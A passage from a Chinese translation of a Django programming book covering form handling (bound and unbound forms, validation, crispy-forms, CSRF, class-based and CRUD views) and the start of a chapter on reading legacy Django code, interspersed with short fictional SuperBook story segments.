  • 限制外部性:我们还可以使用功能标志作为反映其服务可用性的站点范围功能开关。例如,外部服务(如 Amazon S3)的停机可能导致用户在执行上传照片等操作时面临错误消息。

当外部服务长时间停机时,可以停用功能标志,从而禁用上传按钮和/或显示有关停机的更有帮助的消息。这个简单的功能节省了用户的时间,并提供了更好的用户体验:

    def my_view(request):
        if switch_is_active('s3_down'):
            # Disable uploads and show it is downtime

这种方法的主要缺点是代码中充斥着条件检查。但是,可以通过定期的代码清理来控制这一点,以删除对已完全接受的功能的检查,并清除永久停用的功能。

总结

在本章中,我们探讨了 Django 内置的管理应用程序。我们发现它不仅可以直接使用,而且还可以进行各种自定义以改善其外观和功能。

在下一章中,我们将探讨如何通过考虑各种模式和常见用例来更有效地使用 Django 中的表单。

第七章:表单

在本章中,我们将讨论以下主题:

  • 表单工作流程

  • 不受信任的输入

  • 使用基于类的视图处理表单

  • 使用 CRUD 视图

让我们把 Django 表单放在一边,谈谈一般的网络表单。表单不仅仅是一长串的、乏味的页面,上面有几个你必须填写的项目。表单无处不在。我们每天都在使用它们。表单驱动着从谷歌的搜索框到 Facebook 的按钮的一切。

在处理表单时,Django 会抽象出大部分繁重的工作,例如验证或呈现。它还实现了各种安全最佳实践。然而,由于它们可能处于多种状态之一,表单也是混淆的常见来源。让我们更仔细地研究它们。

表单的工作原理

理解表单可能有些棘手,因为与它们的交互需要多个请求-响应周期。在最简单的情况下,您需要呈现一个空表单,用户填写正确并提交它。在其他情况下,他们输入了一些无效数据,表单需要重新提交,直到整个表单有效为止。

因此,表单经历了几种状态:

  • 空表单:这种表单在 Django 中称为未绑定表单

  • 填充表单:在 Django 中,这种表单称为绑定表单

  • 提交的带有错误的表单:这种表单称为绑定表单,但不是有效的表单

  • 提交的没有错误的表单:这种表单在 Django 中称为绑定和有效的表单

请注意,用户永远不会看到表单处于最后状态。他们不必这样做。提交有效的表单应该将用户带到成功页面。

Django 中的表单

Django 的form类包含每个字段的状态,通过总结它们到一个级别,还包括表单本身的状态。表单有两个重要的状态属性,如下所示:

  • is_bound:如果返回 false,则它是一个未绑定的表单,也就是说,一个带有空或默认字段值的新表单。如果为 true,则表单是绑定的,也就是说,至少有一个字段已经设置了用户输入。

  • is_valid(): 如果返回 true,则绑定表单中的每个字段都有有效数据。如果为 false,则至少一个字段中有一些无效数据或者表单未绑定。

例如,假设您需要一个简单的表单,接受用户的姓名和年龄。表单类可以定义如下:

# forms.py
from django import forms

class PersonDetailsForm(forms.Form):
    name = forms.CharField(max_length=100)
    age = forms.IntegerField()

这个类可以以绑定或未绑定的方式初始化,如下面的代码所示:

>>> f = PersonDetailsForm()
>>> print(f.as_p())
<p><label for="id_name">Name:</label> <input id="id_name" maxlength="100" name="name" type="text" /></p>
<p><label for="id_age">Age:</label> <input id="id_age" name="age" type="number" /></p>

>>> f.is_bound
 False

>>> g = PersonDetailsForm({"name": "Blitz", "age": "30"})
>>> print(g.as_p())
<p><label for="id_name">Name:</label> <input id="id_name" maxlength="100" name="name" type="text" value="Blitz" /></p>
<p><label for="id_age">Age:</label> <input id="id_age" name="age" type="number" value="30" /></p>

>>> g.is_bound
 True

请注意 HTML 表示如何更改以包括带有其中的绑定数据的值属性。

表单只能在创建表单对象时绑定,也就是在构造函数中。用户输入是如何进入包含每个表单字段值的类似字典的对象中的呢?

要了解这一点,您需要了解用户如何与表单交互。在下图中,用户打开人员详细信息表单,首先填写不正确,然后提交,然后使用有效信息重新提交:

Django 中的表单

如前图所示,当用户提交表单时,视图可调用获取request.POST中的所有表单数据(QueryDict的实例)。表单使用这个类似字典的对象进行初始化,因为它的行为类似于字典并且具有一些额外的功能。

表单可以定义为以两种不同的方式发送表单数据:GETPOST。使用METHOD="GET"定义的表单将表单数据编码在 URL 本身中,例如,当您提交 Google 搜索时,您的 URL 将具有您的表单输入,即搜索字符串可见地嵌入其中,例如?q=Cat+PicturesGET方法用于幂等表单,它不会对世界的状态进行任何持久性更改(或者更严谨地说,多次处理表单的效果与一次处理它的效果相同)。在大多数情况下,这意味着它仅用于检索数据。

然而,绝大多数的表单都是用METHOD="POST"定义的。在这种情况下,表单数据会随着 HTTP 请求的主体一起发送,用户看不到。它们用于任何涉及副作用的事情,比如存储或更新数据。

取决于您定义的表单类型,当用户提交表单时,视图将在request.GETrequest.POST中接收表单数据。如前所述,它们中的任何一个都将像字典一样。因此,您可以将其传递给您的表单类构造函数以获取一个绑定的form对象。

入侵

史蒂夫蜷缩着,沉沉地在他的大三座沙发上打呼噜。在过去的几个星期里,他一直在办公室呆了超过 12 个小时,今晚也不例外。他的手机放在地毯上发出了哔哔声。起初,他还在睡梦中说了些什么,然后,它一次又一次地响,声音越来越紧急。

第五声响起时,史蒂夫惊醒了。他疯狂地在沙发上四处搜寻,最终找到了他的手机。屏幕上显示着一个色彩鲜艳的条形图。每根条都似乎触及了高线,除了一根。他拿出笔记本电脑,登录了 SuperBook 服务器。网站正常,日志中也没有任何异常活动。然而,外部服务看起来并不太好。

电话那头似乎响了很久,直到一个嘶哑的声音回答道:“喂,史蒂夫?”半个小时后,雅各布终于把问题追溯到了一个无响应的超级英雄验证服务。“那不是运行在 Sauron 上吗?”史蒂夫问道。有一瞬间的犹豫。“恐怕是的,”雅各布回答道。

史蒂夫感到一阵恶心。Sauron 是他们对抗网络攻击和其他可能攻击的第一道防线。当他向任务控制团队发出警报时,已经是凌晨三点了。雅各布一直在和他聊天。他运行了所有可用的诊断工具。没有任何安全漏洞的迹象。

史蒂夫试图让自己冷静下来。他安慰自己也许只是暂时超载,应该休息一下。然而,他知道雅各布不会停止,直到找到问题所在。他也知道 Sauron 不会出现暂时超载的情况。感到极度疲惫,他又睡了过去。

第二天早上,史蒂夫手持一个百吉饼匆匆赶往办公楼时,听到了一阵震耳欲聋的轰鸣声。他转过身,看到一艘巨大的飞船朝他飞来。本能地,他躲到了篱笆后面。在另一边,他听到几个沉重的金属物体落到地面上的声音。就在这时,他的手机响了。是雅各布。有什么东西靠近了他。史蒂夫抬头一看,看到了一个将近 10 英尺高的机器人,橙色和黑色相间,直指他的头上,看起来像是一把武器。

他的手机还在响。他冲到开阔地,差点被周围喷射的子弹击中。他接了电话。“嘿,史蒂夫,猜猜,我终于找到真相了。”“我迫不及待想知道,”史蒂夫说。

“记得我们用 UserHoller 的表单小部件收集客户反馈吗?显然,他们的数据并不那么干净。我的意思是有几个严重的漏洞。嘿,有很多背景噪音。那是电视吗?”史蒂夫朝着一个大大的标志牌扑去,上面写着“安全集结点”。“别理它。告诉我发生了什么事,”他尖叫道。

“好的。所以,当我们的管理员打开他们的反馈页面时,他的笔记本电脑一定被感染了。这个蠕虫可能会传播到他有权限访问的其他系统,特别是 Sauron。我必须说,雅各布,这是一次非常有针对性的攻击。了解我们安全系统的人设计了这个。我有一种不祥的预感,有可怕的事情即将发生。”

在草坪上,一个机器人抓起了一辆 SUV,朝着史蒂夫扔去。他举起手,闭上眼睛。金属的旋转质量在他上方几英尺处冻结了下来。 “重要电话?”Hexa 问道,她放下了车。“是的,请帮我离开这里,”史蒂夫恳求道。

为什么数据需要清理?

最终,您需要从表单中获取“清理后的数据”。这是否意味着用户输入的值不干净?是的,有两个原因。

首先,来自外部世界的任何东西最初都不应该被信任。恶意用户可以通过一个表单输入各种各样的漏洞,从而破坏您网站的安全性。因此,任何表单数据在使用之前都必须经过清理。

提示

最佳实践

永远不要相信用户输入。

其次,request.POSTrequest.GET中的字段值只是字符串。即使您的表单字段可以定义为整数(比如年龄)或日期(比如生日),浏览器也会将它们作为字符串发送到您的视图。无论如何,您都希望在使用之前将它们转换为适当的 Python 类型。form类在清理时会自动为您执行此转换。

让我们看看这个实际操作:

>>> fill = {"name": "Blitz", "age": "30"}

>>> g = PersonDetailsForm(fill)

>>> g.is_valid()
 True

>>> g.cleaned_data
 {'age': 30, 'name': 'Blitz'}

>>> type(g.cleaned_data["age"])
 int

年龄值作为字符串(可能来自request.POST)传递给表单类。验证后,清理数据包含整数形式的年龄。这正是你所期望的。表单试图抽象出字符串传递的事实,并为您提供可以使用的干净的 Python 对象。

显示表单

Django 表单还可以帮助您创建表单的 HTML 表示。它们支持三种不同的表示形式:as_p(作为段落标签),as_ul(作为无序列表项)和as_table(作为,不出所料,表格)。

这些表示形式的模板代码、生成的 HTML 代码和浏览器渲染已经总结在下表中:

模板 代码 浏览器中的输出
{{ form.as_p }}
<p><label for="id_name"> Name:</label>
<input class="textinput textInput form-control" id="id_name" maxlength="100" name="name" type="text" /></p>
<p><label for="id_age">Age:</label> <input class="numberinput form-control" id="id_age" name="age" type="number" /></p>
显示表单
{{ form.as_ul }}
<li><label for="id_name">Name:</label> <input class="textinput textInput form-control" id="id_name" maxlength="100" name="name" type="text" /></li>
<li><label for="id_age">Age:</label> <input class="numberinput form-control" id="id_age" name="age" type="number" /></li>
显示表单
{{ form.as_table }}
<tr><th><label for="id_name">Name:</label></th><td><input class="textinput textInput form-control" id="id_name" maxlength="100" name="name" type="text" /></td></tr>
<tr><th><label for="id_age">Age:</label></th><td><input class="numberinput form-control" id="id_age" name="age" type="number" /></td></tr>
显示表单

请注意,HTML 表示仅提供表单字段。这样可以更容易地在单个 HTML 表单中包含多个 Django 表单。但是,这也意味着模板设计者需要为每个表单编写相当多的样板代码,如下面的代码所示:

<form method="post">
  {% csrf_token %}
  <table>{{ form.as_table }}</table>
  <input type="submit" value="Submit" />
</form>

请注意,为了使 HTML 表示完整,您需要添加周围的form标签,CSRF 令牌,tableul标签和submit按钮。

时间变得简洁

在模板中为每个表单编写如此多的样板代码可能会让人感到厌烦。django-crispy-forms包使得编写表单模板代码更加简洁(在长度上)。它将所有的演示和布局都移到了 Django 表单本身。这样,您可以编写更多的 Python 代码,而不是 HTML。

下表显示了脆弱的表单模板标记生成了一个更完整的表单,并且外观更符合 Bootstrap 样式:

模板 代码 浏览器中的输出
{% crispy form %}
<form method="post">
<input type='hidden' name='csrfmiddlewaretoken' value='...' />
<div id="div_id_name" class="form-group">
<label for="id_name" class="control-label  requiredField">
Name<span class="asteriskField">*</span></label>
<div class="controls ">
<input class="textinput textInput form-control form-control" id="id_name" maxlength="100" name="name" type="text" /> </div></div> ...

(为简洁起见截断了 HTML)| 时间变得简洁 |

那么,如何获得更清晰的表单?您需要安装django-crispy-forms包并将其添加到INSTALLED_APPS中。如果您使用 Bootstrap 3,则需要在设置中提到这一点:

CRISPY_TEMPLATE_PACK = "bootstrap3"

表单初始化将需要提及FormHelper类型的辅助属性。下面的代码旨在尽量简化,并使用默认布局:

from crispy_forms.helper import FormHelper
from crispy_forms.layout import Submit

class PersonDetailsForm(forms.Form):
    name = forms.CharField(max_length=100)
    age = forms.IntegerField()

    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.helper = FormHelper(self)
        self.helper.layout.append(Submit('submit', 'Submit'))

理解 CSRF

因此,您一定会注意到表单模板中有一个名为CSRF令牌的东西。它是针对您的表单的跨站请求伪造(CSRF)攻击的安全机制。

它通过注入一个名为 CSRF 令牌的服务器生成的随机字符串来工作,该令牌对用户的会话是唯一的。每次提交表单时,必须有一个包含此令牌的隐藏字段。此令牌确保表单是由原始站点为用户生成的,而不是攻击者创建的具有类似字段的伪造表单。

不建议为使用GET方法的表单使用 CSRF 令牌,因为GET操作不应更改服务器状态。此外,通过GET提交的表单将在 URL 中公开 CSRF 令牌。由于 URL 有更高的被记录或被窥视的风险,最好在使用POST方法的表单中使用 CSRF。

使用基于类的视图进行表单处理

我们可以通过对基于类的视图本身进行子类化来实质上处理表单:

class ClassBasedFormView(generic.View):
    template_name = 'form.html'

    def get(self, request):
        form = PersonDetailsForm()
        return render(request, self.template_name, {'form': form})

    def post(self, request):
        form = PersonDetailsForm(request.POST)
        if form.is_valid():
            # Success! We can use form.cleaned_data now
            return redirect('success')
        else:
            # Invalid form! Reshow the form with error highlighted
            return render(request, self.template_name,
                          {'form': form})

将此代码与我们之前看到的序列图进行比较。这三种情况已经分别处理。

每个表单都应遵循Post/Redirect/GetPRG)模式。如果提交的表单被发现有效,则必须发出重定向。这可以防止重复的表单提交。

但是,这不是一个非常 DRY 的代码。表单类名称和模板名称属性已被重复。使用诸如FormView之类的通用基于类的视图可以减少表单处理的冗余。以下代码将以更少的代码行数为您提供与以前相同的功能:

from django.core.urlresolvers import reverse_lazy

class GenericFormView(generic.FormView):
    template_name = 'form.html'
    form_class = PersonDetailsForm
    success_url = reverse_lazy("success")

在这种情况下,我们需要使用reverse_lazy,因为在导入视图文件时,URL 模式尚未加载。

表单模式

让我们看一些处理表单时常见的模式。

模式 - 动态表单生成

问题:动态添加表单字段或更改已声明的表单字段。

解决方案:在表单初始化期间添加或更改字段。

问题细节

通常以声明式样式定义表单,其中表单字段列为类字段。但是,有时我们事先不知道这些字段的数量或类型。这需要动态生成表单。这种模式有时被称为动态表单运行时表单生成

想象一个航班乘客登机系统,允许将经济舱机票升级到头等舱。如果还有头等舱座位,需要为用户提供一个额外的选项,询问他们是否想要头等舱。但是,这个可选字段不能被声明,因为它不会显示给所有用户。这种动态表单可以通过这种模式处理。

解决方案细节

每个表单实例都有一个名为fields的属性,它是一个保存所有表单字段的字典。这可以在运行时进行修改。在表单初始化期间可以添加或更改字段。

例如,如果我们需要在用户详细信息表单中添加一个复选框,只有在表单初始化时命名为"upgrade"的关键字参数为 true 时,我们可以实现如下:

class PersonDetailsForm(forms.Form):
    name = forms.CharField(max_length=100)
    age = forms.IntegerField()

    def __init__(self, *args, **kwargs):
        upgrade = kwargs.pop("upgrade", False)
        super().__init__(*args, **kwargs)

        # Show first class option?
        if upgrade:
            self.fields["first_class"] = forms.BooleanField(
                label="Fly First Class?")

现在,我们只需要传递PersonDetailsForm(upgrade=True)关键字参数,就可以使一个额外的布尔输入字段(复选框)出现。

注意

请注意,在调用super之前,新引入的关键字参数必须被移除或弹出,以避免unexpected keyword错误。

如果我们在这个例子中使用FormView类,则需要通过覆盖视图类的get_form_kwargs方法传递关键字参数,如下面的代码所示:

class PersonDetailsEdit(generic.FormView):
    ...

    def get_form_kwargs(self):
        kwargs = super().get_form_kwargs()
        kwargs["upgrade"] = True
        return kwargs

此模式可用于在运行时更改字段的任何属性,例如其小部件或帮助文本。它也适用于模型表单。

在许多情况下,看似需要动态表单的需求可以使用 Django 表单集来解决。当需要在页面中重复一个表单时,可以使用表单集。表单集的典型用例是在设计类似数据网格的视图时,逐行添加元素。这样,您不需要创建具有任意行数的动态表单。您只需要为行创建一个表单,并使用formset_factory函数创建多行。

模式 - 基于用户的表单

问题:根据已登录用户的情况自定义表单。

解决方案:将已登录用户作为关键字参数传递给表单的初始化程序。

问题细节

根据用户的不同,表单可以以不同的方式呈现。某些用户可能不需要填写所有字段,而另一些用户可能需要添加额外的信息。在某些情况下,您可能需要对用户的资格进行一些检查,例如验证他们是否是某个组的成员,以确定应该如何构建表单。

解决方案细节

正如您可能已经注意到的,您可以使用动态表单生成模式中提供的解决方案来解决这个问题。您只需要将request.user作为关键字参数传递给表单。但是,我们也可以使用django-braces包中的 mixin 来实现更简洁和更可重用的解决方案。

与前面的例子一样,我们需要向用户显示一个额外的复选框。但是,只有当用户是 VIP 组的成员时才会显示。让我们看看如何使用django-braces中的表单 mixinUserKwargModelFormMixin简化了PersonDetailsForm

from braces.forms import UserKwargModelFormMixin

class PersonDetailsForm(UserKwargModelFormMixin, forms.Form):
    ...

    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)

        # Are you a member of the VIP group?
        if self.user.groups.filter(name="VIP").exists():
            self.fields["first_class"] = forms.BooleanField(
                label="Fly First Class?")

请注意,mixin 通过弹出user关键字参数自动使self.user可用。

与表单 mixin 对应的是一个名为UserFormKwargsMixin的视图 mixin,需要将其添加到视图中,以及LoginRequiredMixin以确保只有已登录用户才能访问此视图:

class VIPCheckFormView(LoginRequiredMixin, UserFormKwargsMixin, generic.FormView):

   form_class = PersonDetailsForm
    ...

现在,user参数将自动传递给PersonDetailsForm表单。

请查看django-braces中的其他表单 mixin,例如FormValidMessageMixin,这些都是常见表单使用模式的现成解决方案。

模式-单个视图中的多个表单操作

问题:在单个视图或页面中处理多个表单操作。

解决方案:表单可以使用单独的视图来处理表单提交,或者单个视图可以根据Submit按钮的名称来识别表单。

问题细节

Django 相对简单地将多个具有相同操作的表单组合在一起,例如一个单独的提交按钮。然而,大多数网页需要在同一页上显示多个操作。例如,您可能希望用户在同一页上通过两个不同的表单订阅或取消订阅通讯。

然而,Django 的FormView设计为每个视图场景处理一个表单。许多其他通用的基于类的视图也有这种假设。

解决方案细节

处理多个表单有两种方法:单独视图和单一视图。让我们先看看第一种方法。

针对不同操作的单独视图

这是一个非常直接的方法,每个表单都指定不同的视图作为它们的操作。例如,订阅和取消订阅表单。可以有两个单独的视图类来处理它们各自表单的POST方法。

相同视图用于不同操作

也许您会发现拆分视图以处理表单是不必要的,或者您会发现在一个公共视图中处理逻辑相关的表单更加优雅。无论哪种方式,我们都可以解决通用基于类的视图的限制,以处理多个表单。

在使用相同的视图类处理多个表单时,挑战在于识别哪个表单发出了POST操作。在这里,我们利用了Submit按钮的名称和值也会被提交的事实。如果Submit按钮在各个表单中具有唯一的名称,那么在处理过程中就可以识别表单。

在这里,我们使用 crispy forms 定义一个订阅表单,以便我们也可以命名submit按钮:

class SubscribeForm(forms.Form):
    email = forms.EmailField()

    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.helper = FormHelper(self)
        self.helper.layout.append(Submit('subscribe_butn', 'Subscribe'))

UnSubscribeForm取消订阅表单类的定义方式完全相同(因此被省略),只是其Submit按钮的名称为unsubscribe_butn

由于FormView设计为单个表单,我们将使用一个更简单的基于类的视图,比如TemplateView,作为我们视图的基础。让我们来看看视图定义和get方法:

from .forms import SubscribeForm, UnSubscribeForm

class NewsletterView(generic.TemplateView):
    subcribe_form_class = SubscribeForm
    unsubcribe_form_class = UnSubscribeForm
    template_name = "newsletter.html"

    def get(self, request, *args, **kwargs):
        kwargs.setdefault("subscribe_form", self.subcribe_form_class())
        kwargs.setdefault("unsubscribe_form", self.unsubcribe_form_class())
        return super().get(request, *args, **kwargs)

TemplateView 类的关键字参数方便地插入到模板上下文中。我们只有在它们不存在时才创建任一表单的实例,借助 setdefault 字典方法的帮助。我们很快就会看到原因。

接下来,我们将看一下 POST 方法,它处理来自任一表单的提交:

    def post(self, request, *args, **kwargs):
        form_args = {
            'data': self.request.POST,
            'files': self.request.FILES,
        }
        if "subscribe_butn" in request.POST:
            form = self.subcribe_form_class(**form_args)
            if not form.is_valid():
                return self.get(request,
                                   subscribe_form=form)
            return redirect("success_form1")
        elif "unsubscribe_butn" in request.POST:
            form = self.unsubcribe_form_class(**form_args)
            if not form.is_valid():
                return self.get(request,
                                   unsubscribe_form=form)
            return redirect("success_form2")
        return super().get(request)

首先,表单关键字参数,如 datafiles,在 form_args 字典中填充。接下来,在 request.POST 中检查第一个表单的 Submit 按钮是否存在。如果找到按钮的名称,则实例化第一个表单。

如果表单未通过验证,则返回由第一个表单实例创建的 GET 方法创建的响应。同样,我们查找第二个表单的提交按钮,以检查是否提交了第二个表单。

在同一个视图中实现相同表单的实例可以通过表单前缀以相同的方式实现。您可以使用前缀参数实例化一个表单,例如 SubscribeForm(prefix="offers")。这样的实例将使用给定的参数为其所有表单字段添加前缀,有效地像表单命名空间一样工作。

模式 - CRUD 视图

问题:为模型创建 CRUD 接口的样板代码是重复的。

解决方案:使用通用基于类的编辑视图。

问题细节

在大多数 Web 应用程序中,大约 80% 的时间用于编写、创建、读取、更新和删除(CRUD)与数据库的接口。例如,Twitter 本质上涉及创建和阅读彼此的推文。在这里,推文将是正在被操作和存储的数据库对象。

从头开始编写这样的接口可能会变得乏味。如果可以从模型类自动创建 CRUD 接口,这种模式就可以很容易地管理。

解决方案细节

Django 通过一组四个通用的基于类的视图简化了创建 CRUD 视图的过程。它们可以映射到它们对应的操作,如下所示:

  • CreateView:此视图显示一个空白表单以创建一个新对象

  • DetailView:此视图通过从数据库中读取显示对象的详细信息

  • UpdateView:此视图允许通过预填充表单更新对象的详细信息

  • DeleteView:此视图显示确认页面,并在批准后删除对象

让我们看一个简单的例子。我们有一个包含重要日期的模型,这对于使用我们的网站的每个人都很重要。我们需要构建简单的 CRUD 接口,以便任何人都可以查看和修改这些日期。让我们看看 ImportantDate 模型本身:

# models.py
class ImportantDate(models.Model):
    date = models.DateField()
    desc = models.CharField(max_length=100)

    def get_absolute_url(self):
        return reverse('impdate_detail', args=[str(self.pk)])

get_absolute_url() 方法被 CreateViewUpdateView 类使用,用于在成功创建或更新对象后重定向。它已经路由到对象的 DetailView

CRUD 视图本身足够简单,可以自解释,如下面的代码所示:

# views.py
from django.core.urlresolvers import reverse_lazyfrom . import forms

class ImpDateDetail(generic.DetailView):
    model = models.ImportantDate

class ImpDateCreate(generic.CreateView):
    model = models.ImportantDate
    form_class = forms.ImportantDateForm

class ImpDateUpdate(generic.UpdateView):
    model = models.ImportantDate
    form_class = forms.ImportantDateForm

class ImpDateDelete(generic.DeleteView):
    model = models.ImportantDate
    success_url = reverse_lazy("impdate_list")

在这些通用视图中,模型类是唯一必须提及的成员。然而,在 DeleteView 的情况下,还需要提及 success_url 函数。这是因为在删除后,不能再使用 get_absolute_url 来找出要重定向用户的位置。

定义 form_class 属性不是强制性的。如果省略,将创建一个与指定模型对应的 ModelForm 方法。然而,我们希望创建自己的模型表单以利用 crispy forms,如下面的代码所示:

# forms.py
from django import forms
from . import models
from crispy_forms.helper import FormHelper
from crispy_forms.layout import Submit
class ImportantDateForm(forms.ModelForm):
    class Meta:
        model = models.ImportantDate
        fields = ["date", "desc"]

    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)

        self.helper = FormHelper(self)
        self.helper.layout.append(Submit('save', 'Save'))

由于 crispy forms,我们在模板中几乎不需要太多的 HTML 标记来构建这些 CRUD 表单。

注意

请注意,明确提及 ModelForm 方法的字段是最佳实践,并且很快将在未来的版本中成为强制性的。

默认情况下,模板路径基于视图类和模型名称。为简洁起见,我们在这里省略了模板源。请注意,我们可以在 CreateViewUpdateView 中使用相同的表单。

最后,我们来看看 urls.py,在那里一切都被连接在一起:

url(r'^impdates/create/$',
    pviews.ImpDateCreate.as_view(), name="impdate_create"),
url(r'^impdates/(?P<pk>\d+)/$',
    pviews.ImpDateDetail.as_view(), name="impdate_detail"),
url(r'^impdates/(?P<pk>\d+)/update/$',
    pviews.ImpDateUpdate.as_view(), name="impdate_update"),
url(r'^impdates/(?P<pk>\d+)/delete/$',
    pviews.ImpDateDelete.as_view(), name="impdate_delete"),

Django 通用视图是创建模型的 CRUD 视图的绝佳方式。只需几行代码,您就可以获得经过充分测试的模型表单和视图,而不是自己进行乏味的任务。

总结

在这一章中,我们看了网页表单是如何工作的,以及它们如何在 Django 中使用表单类进行抽象。我们还研究了在处理表单时节省时间的各种技术和模式。

在下一章中,我们将系统地探讨如何处理遗留的 Django 代码库,并如何增强它以满足不断发展的客户需求。

第八章:处理遗留代码

在本章中,我们将讨论以下主题:

  • 阅读 Django 代码库

  • 发现相关文档

  • 增量更改与完全重写

  • 在更改代码之前编写测试

  • 遗留数据库集成

当你被要求加入一个项目时,听起来很令人兴奋。可能会有强大的新工具和尖端技术等着你。然而,很多时候,你被要求与现有的、可能是古老的代码库一起工作。

公平地说,Django 并没有存在那么长时间。然而,为旧版本的 Django 编写的项目有足够的不同之处,引起了担忧。有时,仅有整个源代码和文档可能是不够的。

如果要求重新创建环境,那么您可能需要在本地或网络上处理操作系统配置、数据库设置和运行服务。这个谜团有太多的部分,让你想知道如何开始和从哪里开始。

了解代码中使用的 Django 版本是关键信息。随着 Django 的发展,从默认项目结构到推荐的最佳实践,一切都发生了变化。因此,确定使用的 Django 版本是理解它的重要部分。

注意

交接

坐在培训室里那些极短的豆袋上,SuperBook 团队耐心等待着哈特。他召集了一个紧急的上线会议。没有人理解“紧急”的部分,因为上线至少还有 3 个月的时间。

欧康夫人匆匆忙忙地拿着一个大设计师咖啡杯,一手拿着一堆看起来像项目时间表的印刷品。她不抬头地说:“我们迟到了,所以我会直奔主题。鉴于上周的袭击,董事会决定立即加快 SuperBook 项目,并将截止日期定为下个月底。有问题吗?”

“是的,”布拉德说,“哈特在哪里?”欧康夫人犹豫了一下,回答说:“嗯,他辞职了。作为 IT 安全主管,他对周界被突破负有道德责任。”显然受到震惊的史蒂夫摇了摇头。“对不起,”她继续说道,“但我被指派负责 SuperBook,并确保我们没有障碍来满足新的截止日期。”

有一阵集体的抱怨声。欧康夫人毫不畏惧,拿起其中一张纸开始说:“这里写着,远程存档模块是未完成状态中最重要的项目。我相信伊万正在处理这个。”

“没错,”远处的伊万说。“快了,”他对其他人微笑着,他们的注意力转向了他。欧康夫人从眼镜的边缘上方凝视着,微笑得几乎太客气了。“考虑到我们在 Sentinel 代码库中已经有一个经过充分测试和运行良好的 Archiver,我建议你利用它,而不是创建另一个多余的系统。”

“但是,”史蒂夫打断道,“这几乎不是多余的。我们可以改进传统的存档程序,不是吗?”“如果没有坏,就不要修理”,欧康夫人简洁地回答道。他说:“他正在努力,”布拉德几乎大声喊道,“他已经完成了所有的工作,那怎么办?”

“伊万,你到目前为止完成了多少工作?”欧康夫人有点不耐烦地问道。“大约 12%”,他辩解地回答道。每个人都不可思议地看着他。“什么?那是最难的 12%”,他补充道。

欧康夫人以同样的模式继续了会议的其余部分。每个人的工作都被重新排列,以适应新的截止日期。当她拿起她的文件准备离开时,她停顿了一下,摘下了眼镜。

“我知道你们都在想什么...真的。但你们需要知道,我们对截止日期别无选择。我现在能告诉你们的就是,全世界都指望着你们在那个日期之前完成,无论如何。”她戴上眼镜,离开了房间。

“我肯定会带上我的锡纸帽,”伊万大声对自己说。

查找 Django 版本

理想情况下,每个项目都会在根目录下有一个requirements.txtsetup.py文件,并且它将包含用于该项目的 Django 的确切版本。让我们寻找类似于这样的一行:

Django==1.5.9

请注意,版本号是精确指定的(而不是Django>=1.5.9),这被称为固定。固定每个软件包被认为是一个很好的做法,因为它减少了意外,并使您的构建更加确定。

不幸的是,有些真实世界的代码库中requirements.txt文件没有被更新,甚至完全丢失。在这种情况下,您需要探测各种迹象来找出确切的版本。

激活虚拟环境

在大多数情况下,Django 项目将部署在虚拟环境中。一旦找到项目的虚拟环境,您可以通过跳转到该目录并运行操作系统的激活脚本来激活它。对于 Linux,命令如下:

$ source venv_path/bin/activate

一旦虚拟环境激活,启动 Python shell 并查询 Django 版本如下:

$ python
>>> import django
>>> print(django.get_version())
1.5.9

在这种情况下使用的 Django 版本是 1.5.9 版本。

或者,您可以在项目中运行manage.py脚本以获得类似的输出:

$ python manage.py --version
1.5.9

但是,如果传统项目源快照以未部署的形式发送给您,则此选项将不可用。如果虚拟环境(和包)也包括在内,那么您可以轻松地在 Django 目录的__init__.py文件中找到版本号(以元组形式)。例如:

$ cd envs/foo_env/lib/python2.7/site-packages/django 
$ cat __init__.py
VERSION = (1, 5, 9, 'final', 0)
...

如果所有这些方法都失败了,那么您将需要查看过去 Django 版本的发布说明,以确定可识别的更改(例如,AUTH_PROFILE_MODULE设置自 1.5 版本以来已被弃用),并将其与您的传统代码进行匹配。一旦确定了正确的 Django 版本,那么您就可以继续分析代码。

文件在哪里?这不是 PHP

其中最难适应的一个想法,特别是如果您来自 PHP 或 ASP.NET 世界,那就是源文件不位于您的 Web 服务器的文档根目录中,通常命名为wwwrootpublic_html。此外,代码的目录结构与网站的 URL 结构之间没有直接关系。

实际上,您会发现您的 Django 网站的源代码存储在一个隐蔽的路径中,比如/opt/webapps/my-django-app。为什么会这样呢?在许多很好的理由中,将机密数据移出公共 webroot 通常更安全。这样,网络爬虫就不会意外地进入您的源代码目录。

正如您在第十一章中所读到的,生产就绪,源代码的位置可以通过检查您的 Web 服务器的配置文件来找到。在这里,您将找到环境变量DJANGO_SETTINGS_MODULE设置为模块路径,或者它将将请求传递给配置为指向您的project.wsgi文件的 WSGI 服务器。

从 urls.py 开始

即使您可以访问 Django 网站的整个源代码,弄清楚它在各种应用程序中的工作方式可能令人望而生畏。通常最好从根urls.py URLconf文件开始,因为它实际上是将每个请求与相应视图联系起来的地图。

对于普通的 Python 程序,我经常从执行的开始开始阅读,比如从顶级主模块或__main__检查成语开始的地方。在 Django 应用程序的情况下,我通常从urls.py开始,因为根据站点具有的各种 URL 模式来跟踪执行流程更容易。

在 Linux 中,您可以使用以下find命令来定位settings.py文件和指定根urls.py的相应行:

$ find . -iname settings.py -exec grep -H 'ROOT_URLCONF' {} \;
./projectname/settings.py:ROOT_URLCONF = 'projectname.urls'

$ ls projectname/urls.py
projectname/urls.py

在代码中跳转

有时阅读代码感觉像在浏览没有超链接的网页。当您遇到在其他地方定义的函数或变量时,您将需要跳转到包含该定义的文件。只要告诉 IDE 要跟踪项目的哪些文件,一些 IDE 就可以自动为您执行此操作。

如果您使用 Emacs 或 Vim,那么您可以创建一个 TAGS 文件以快速在文件之间导航。转到项目根目录并运行一个名为Exuberant Ctags的工具,如下所示:

find . -iname "*.py" -print | etags -

这将创建一个名为 TAGS 的文件,其中包含位置信息,其中定义了诸如类和函数之类的每个句法单元。在 Emacs 中,您可以使用M-.命令找到标签的定义,其中您的光标(或在 Emacs 中称为点)所在的位置。

虽然对于大型代码库来说,使用标签文件非常快速,但它相当基本,并不知道虚拟环境(大多数定义可能位于其中)。一个很好的替代方案是在 Emacs 中使用elpy包。它可以配置为检测虚拟环境。使用相同的M-.命令跳转到句法元素的定义。但是,搜索不限于标签文件。因此,您甚至可以无缝地跳转到 Django 源代码中的类定义。

理解代码库

